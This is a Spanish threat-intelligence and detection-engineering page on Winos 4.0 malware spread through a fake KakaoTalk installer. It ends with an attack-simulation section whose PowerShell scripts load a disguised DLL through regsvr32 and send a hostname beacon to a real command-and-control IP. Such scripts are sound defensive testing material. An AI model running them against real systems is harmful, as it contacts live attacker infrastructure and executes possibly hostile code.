SOC Prime Bias: Medio

24 Mar 2026 16:03

El malware Winos 4.0 se hace pasar por un instalador de KakaoTalk

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
El malware Winos 4.0 se hace pasar por un instalador de KakaoTalk
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los atacantes abusaron del envenenamiento de SEO para empujar un instalador falso de KakaoTalk a la cima de los resultados de búsqueda. El instalador contenía un certificado de firma de código inválido e incorporaba un paquete NSIS que desempacaba archivos maliciosos, incluyendo Verifier.exe y AutoRecoverDat.dll. Una vez ejecutado, el malware lograba persistencia a través del registro de DLL, tareas programadas y un mutex, luego se conectaba a dos servidores C2 separados. Sus capacidades incluían captura de pantalla, perfilado del sistema y ejecución en memoria de cargas útiles adicionales.

Investigación

El Centro de Inteligencia de Seguridad de AhnLab reportó más de 5,000 PCs comprometidas después de que la campaña comenzara el 9 de marzo. El análisis mostró que las cargas útiles encriptadas de NSIS se desencriptan y dejan caer Verifier.exe y AutoRecoverDat.dll, crean un mutex y cargan shellcode de archivos GPUCache.xml. Dependiendo de la rama del shellcode, el malware contactaba la infraestructura C2 en 192.238.129.47 o 119.28.70.225. La persistencia se mantenía a través del registro de DLL y tareas programadas que lanzaban ya sea Verifier.exe o rundll32 con la DLL maliciosa.

Mitigación

Las organizaciones deben bloquear los dominios y URLs de descarga maliciosos asociados con la campaña. Implementar validación estricta de firma de código y prevenir la ejecución de binarios con certificados inválidos. Se debe usar una lista blanca de aplicaciones para bloquear la ejecución de instaladores NSIS desconocidos. También se deben monitorear el mutex específico, las tareas programadas sospechosas y los cambios en el registro detallados en el informe.

Respuesta

Los equipos de detección deben alertar sobre la creación del mutex 77825d8f-46d1-42d0-b298-83068bf9e31d y las tareas programadas bajo MicrosoftWindowsAppID. Buscar Verifier.exe y AutoRecoverDat.dll en directorios del perfil de usuario y bloquear el tráfico saliente hacia las IPs y puertos C2 conocidos. Realizar una revisión forense de los sistemas afectados y eliminar completamente todos los artefactos de persistencia y componentes maliciosos.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Técnica</b> – T1593.002 Envenenamiento de Motores de Búsqueda<br/><b>Descripción</b>: Manipular SEO para clasificar sitios maliciosos en los resultados de búsqueda."] class tech_initial_access technique tech_user_exec["<b>Técnica</b> – T1204 Ejecución de Usuario<br/><b>Descripción</b>: La víctima ejecuta un instalador malicioso creyendo que es legítimo."] class tech_user_exec technique tech_obfuscation["<b>Técnica</b> – T1027 Archivos o Información Ofuscados<br/><b>Descripción</b>: Cargas útiles encriptadas en el instalador NSIS y desencriptadas en tiempo de ejecución."] class tech_obfuscation technique tech_powershell["<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descripción</b>: Ejecuta comandos de PowerShell a través de cmd para modificar configuraciones de Defender."] class tech_powershell technique tech_exclusions["<b>Técnica</b> – T1564.012 Exclusiones de Archivos/Rutas<br/><b>Descripción</b>: Agrega entradas de exclusión para C:, D:, E:, F: en Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Técnica</b> – T1218.011 Ejecución de Proxy Rundll32<br/><b>Descripción</b>: Usa rundll32.exe para cargar AutoRecoverDat.dll malicioso."] class tech_rundll32 technique tech_appcert["<b>Técnica</b> – T1546.009 DLLs de AppCert<br/><b>Descripción</b>: Registra DLL para ejecución cuando se cargan AppCert, habilitando persistencia y escalamiento."] class tech_appcert technique tech_schtask["<b>Técnica</b> – T1053 Tarea/Trabajo Programado<br/><b>Descripción</b>: Crea tareas para lanzar Verifier.exe y rundll32 al inicio del sistema."] class tech_schtask technique tech_c2_nonstd["<b>Técnica</b> – T1571 Puerto No Estándar<br/><b>Descripción</b>: Se comunica con servidores C2 en puertos 18852 y 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Técnica</b> – T1205.001 Golpeo de Puerto<br/><b>Descripción</b>: Usa golpeo de puerto para ocultar tráfico C2."] class tech_port_knocking technique tech_dynamic_res["<b>Técnica</b> – T1568 Resolución Dinámica<br/><b>Descripción</b>: Resuelve direcciones C2 en tiempo de ejecución, se adapta a la presencia de productos AV chinos."] class tech_dynamic_res technique tech_indicator_removal["<b>Técnica</b> – T1027.005 Eliminación de Indicadores de Herramientas<br/><b>Descripción</b>: Verifica productos AV específicos y modifica la persistencia acorde."] class tech_indicator_removal technique tech_software_disc["<b>Técnica</b> – T1518.001 Descubrimiento de Software<br/><b>Descripción</b>: Recolecta lista de software instalado para reconocimiento."] class tech_software_disc technique tech_path_intercept["<b>Técnica</b> – T1574.009 Interceptación de Ruta por Ruta Sin Citar<br/><b>Descripción</b>: Explota rutas de servicio no citadas para cargar DLL malicioso."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>Archivo</b>: Instalador NSIS Malicioso (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Archivo</b>: Verifier.exe"] class file_verifier malware file_dll["<b>Archivo</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>Proceso</b>: powershell.exe (agrega exclusiones de Defender)"] class proc_powershell process proc_rundll32["<b>Proceso</b>: rundll32.exe (carga AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Proceso</b>: schtasks.exe (crea tareas programadas)"] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa deben reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:

    El adversario ya ha colocado DLLs maliciosas dentro del %LOCALAPPDATA%MicrosoftWindowsGPUCache directorio, disfrazándolas como archivos de caché legítimos. Para ejecutar la carga útil, el atacante utiliza Regsvr32 (T1218.012) para cargar el DLL, luego usa el componente cargado para iniciar la comunicación C2 sobre el puerto TCP 18852 (o el puerto HTTPS 443) al servidor codificado en 192.238.129.47. Este flujo de red es el indicador observable que la regla Sigma monitorea.

    1. Cargar DLL malicioso vía Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. Iniciar baliza C2 (el DLL malicioso abre un socket TCP al servidor C2). Para pruebas, emulamos la baliza con un cliente TCP de PowerShell simple que se conecta a la misma IP/puerto.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Script de Prueba de Regresión: El siguiente script reproduce los pasos arriba mencionados de principio a fin y generará la telemetría de red exacta que la regla Sigma espera.

    # -------------------------------------------------
    # Simulación de C2 Winos4.0 – activa la regla Sigma
    # -------------------------------------------------
    # 1. Cargar el DLL malicioso (simulado) vía Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Registrando DLL malicioso vía Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] No se encontró DLL simulado en $dllPath – abortando."
        exit 1
    }
    
    # 2. Emular baliza C2 al IP/puerto codificado
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] Estableciendo conexión TCP a $c2IP:$c2Port ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Baliza desde $env:COMPUTERNAME a $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Baliza enviada."
    } catch {
        Write-Error "[-] Falló la conexión: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Comandos de Limpieza: Eliminar cualquier artefacto temporal y cerrar conexiones restantes.

    # Remover el DLL malicioso simulado (si era un artefacto de prueba)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] Limpieza del DLL simulado."
    }
    
    # Asegurarse de que no queden oyentes TCP huérfanos (improbable solo para el lado del cliente)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # No se necesita acción; las conexiones están cerradas en el script.
    }